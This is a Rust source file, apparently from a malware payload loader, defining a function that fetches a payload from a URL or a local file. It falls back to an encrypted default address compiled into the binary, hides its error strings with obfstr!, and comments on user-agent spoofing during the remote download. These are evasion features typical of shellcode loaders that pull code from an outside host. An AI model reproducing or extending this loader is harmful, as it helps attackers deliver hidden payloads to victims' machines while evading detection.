()
| 3 | use crate::utils::simple_decrypt; |
| 4 | |
| 5 | pub fn load_payload() -> Result<Vec<u8>, Box<dyn std::error::Error>> { |
| 6 | let args: Vec<String> = env::args().collect(); |
| 7 | let address = if args.len() < 2 || args[1].is_empty() { |
| 8 | // Decrypt the encrypted default address |
| 9 | simple_decrypt(env!("RSL_ENCRYPTED_DEFAULT_PAYLOAD_ADDRESS")) |
| 10 | } else { |
| 11 | args[1].clone() |
| 12 | }; |
| 13 | |
| 14 | if address.starts_with("http://") || address.starts_with("https://") { |
| 15 | // Remote loading with user-agent spoofing |
| 16 | let (status_code, body) = crate::utils::http_get(&address)?; |
| 17 | |
| 18 | if status_code < 200 || status_code >= 300 { |
| 19 | return Err(format!("{} {}", obfstr!("Network error:"), status_code).into()); |
| 20 | } |
| 21 | Ok(body) |
| 22 | } else { |
| 23 | // Local file loading with existence check |
| 24 | let path = std::path::Path::new(&address); |
| 25 | if !path.exists() { |
| 26 | return Err(format!("{} {}", obfstr!("Resource unavailable:"), path.display()).into()); |
| 27 | } |
| 28 | |
| 29 | Ok(std::fs::read(&address)?) |
| 30 | } |
| 31 | } |
nothing calls this directly
no test coverage detected